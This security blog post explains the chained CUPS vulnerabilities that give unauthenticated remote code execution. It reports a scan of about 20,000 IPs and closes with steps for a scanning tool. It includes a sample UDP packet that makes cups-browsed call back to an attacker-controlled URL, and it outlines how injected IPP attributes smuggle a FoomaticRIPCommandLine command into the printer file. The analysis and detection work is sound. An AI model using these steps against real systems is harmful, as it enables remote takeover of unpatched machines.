Wed 16 October 2024
Introduction
The Common UNIX Printing System (CUPS) is a widely used printing system that enables networked computers to manage print jobs and printers seamlessly. Recently, researcher Simone Margaritelli conducted impressive research in which he discovered multiple CVEs that he successfully chained together to achieve unauthenticated remote code execution (RCE) on target systems. You can read more about this research in Simone Margaritelli's article.
In this article, we will break down the exploit workflow and analyze the percentage of systems vulnerable from a specific sample of targets.
Technical Details
Achieving RCE in CUPS:
This section will outline the various steps to achieve remote code execution (RCE) and explain how the different CVEs come into play.
-
CVE-2024-47176: Starting Point:
cups-browsed
and theBrowseSocket
:The attack begins with the
cups-browsed
service, which is responsible for discovering printers on the network and automatically adding them to the system .The service creates a socket, called
BrowseSocket
and that listens for incoming packets containing printer information onINADDR_ANY:631 UDP
.The next step is identifying where the
BrowseSocket
is being used. Upon investigation, the functionprocess_browse_data
comes up as the key location.process_browse_data()
is responsible for reading a packet from theBrowseSocket
. It expects the incoming data to adhere to a specific format:HEX_NUMBER HEX_NUMBER TEXT_DATA
After receiving the packet, the function checks whether the source IP address is allowed to send data. This is done through theallowed()
function, which verifies the IP address against the configuration file located at/etc/cups/cups-browsed.conf
. This file defines which hosts are permitted to connect and send data.Well, it turns out that while you can configure who can and can’t connect by editing the /etc/cups/cups-browsed.conf configuration file, the default configuration on most systems is entirely commented out. This means that, unless the administrator explicitly restricts access, the system is left open to connections from any IP address. As a result, the
allowed()
check will always succeed, leaving the system vulnerable to potential exploitation from any source.Once the source IP check passes, the packet is parsed, and two fields are passed to the
found_cups_printer()
function for further processing. -
CVE-2024-47076: Malicious URI Injection and Exploitation:
One of the two fields parsed from the packet is the URI of the printer.
Tracing how this parameter is used and passed through different functions :
Starting from
found_cups_printer
, the URI is passed to theexamine_discovered_printer_record()
function. which will pass it tocreate_remote_printer_entry()
. This sequence of function calls eventually leads tocfGetPrinterAttributes()
from thelibcupsfilters
library.The
cfGetPrinterAttributes()
function is responsible for making an HTTP request to the provided printer URI in order to retrieve the printer's details.At this point, a malicious actor can send a specially crafted UDP packet to port 631 with a malicious URI embedded in it, such as:
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever
This packet will bypass the weak validation, causing
cups-browsed
to connect back to the attacker-controlled URL. -
CVE-2024-47175: Attacker's Malicious IPP Attributes and PPD File Creation:
After the attacker's server sends a response containing crafted IPP attributes—designed to mimic the capabilities of a legitimate printer—
cups-browsed
processes these attributes. It does this by invoking thecreate_queue()
function, which in turn calls theppdCreatePPDFromIPP2()
API from thelibppd
library. This API is responsible for creating a temporary PPD (PostScript Printer Description) file, where the received attributes are stored.PostScript Printer Description file is a text file provided by printer vendors that describes the full set of features and capabilities available for a specific PostScript printer. These files serve multiple functions:
- They define how to invoke features for print jobs, including the printer's supported resolutions, paper sizes, and special functionalities (e.g., double-sided printing).
- The PPD acts as a driver for PostScript printers by offering a standardized way for the CUPS system to interact with different printers, regardless of the manufacturer.
- PPD also contains the PostScript code (commands) used to invoke features for the print job.
The
ppdCreatePPDFromIPP2()
function writes the attacker-controlled IPP attributes directly into the PPD file without any sanitization. -
CVE-2024-47177: Exploiting the CUPS Filters:
Now that we can set attributes that are saved in the PPD file, we can instruct CUPS to execute certain commands when processing print jobs.
CUPS supports a variety of instructions through these attributes, one of which that can be exploited is
cupsFilter2
.A filter is an executable located in the
/usr/lib/cups/filter
directory. CUPS restricts the execution of filters to this directory—meaning that you can't specify just any binary. These filters are executed when a print job is sent to the printer, typically to perform document conversion if the printer doesn’t natively support the format of the document.Given this constraint on which binary can be executed, the goal is to exploit one of the existing filters to execute arbitrary commands.
Exploiting the
foomatic-rip
Filter:Fortunately for attackers, one filter—
foomatic-rip
—was still vulnerable to an old command execution flawCVE-2011-2964
andCVE-2011-2697
. This filter accepted theFoomaticRIPCommandLine
directive in the PPD file, allowing ANY command to be executed through it.By exploiting this vulnerability, an attacker can inject the
FoomaticRIPCommandLine
directive into the PPD file, which causes CUPS to execute arbitrary commands during the print job process.To perform the attack, the following steps are required:
- Force the Target Machine to Connect to a Malicious IPP Server: The first step involves getting the target machine to communicate with a rogue IPP server that you control.
- Return a Malicious IPP Attribute String:
- Injecting a
printer-privacy-policy-uri
attribute with a fake policy URL like"https://www.example.com/"
, followed by a newline to terminate the string. - Adding a directive
FoomaticRIPCommandLine: "COMMAND"
to execute a command on the target machine. - Including a
cupsFilter2
directive:"application/pdf application/vnd.cups-postscript 0 foomatic-rip"
, which ensures that when a print job is sent, it triggers the execution of thefoomatic-rip
filter with the injected command.
- Injecting a
- Trigger Execution: Once a print job is sent to the malicious printer, the injected PPD directives will be executed, allowing the attack to be completed.
Large-Scale CUPS Vulnerability Assessment: Detection and Analysis:
Before conducting our large-scale assessment, we initially aimed to fingerprint the CUPS service using its UDP port, specifically the one opened by BrowseSocket
. This socket listens on INADDR_ANY:631 UDP
, and we believed it would allow us to identify systems running CUPS by sending requests to this port. However, during testing—whether manually or using tools like Nmap—we failed to get a response from the CUPS server.
To investigate why we weren’t receiving any responses, we examined the CUPS source code, focusing on functions that send data back to clients. During this search, we identified the sendto
function, which is used to send responses.
We searched for the sendto
function, which is responsible for sending responses.
And that it is used within the broadcast_browse_packets
function, which is called by send_browse_data
.
However, we discovered that send_browse_data
is called in the main function but only occurs if a specific condition is met: if (BrowseLocalProtocols & BROWSE_CUPS)
.
Upon checking the default value of BrowseLocalProtocols
, we found that it was set to none, meaning the condition is never satisfied. This explains why no response was sent to our UDP fingerprinting attempts.
With UDP fingerprinting ruled out, we shifted our focus to TCP fingerprinting on port 631, which is used by the Internet Printing Protocol (IPP). We scanned a sample of IP addresses and used the PoC to check for the vulnerability. Out of the 19,968 tested IPs, 45 had IPP open on TCP/631. After running the PoC, we discovered that 42 of those systems were vulnerable. This means that approximately 0.23% of the tested IPs were running CUPS, and of those, 93.33% were at risk due to the vulnerability.
Testing for the Vulnerability Using OXO
If you're concerned your instance might be vulnerable, follow these steps to run a test using the OXO tool:
Install OXO via pip:
pip install -U ostorlab
Install the asteroid agent from the OXO agent store:
oxo agent install agent/ostorlab/asteroid
Run the scan using the asteroid agent with the following command:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.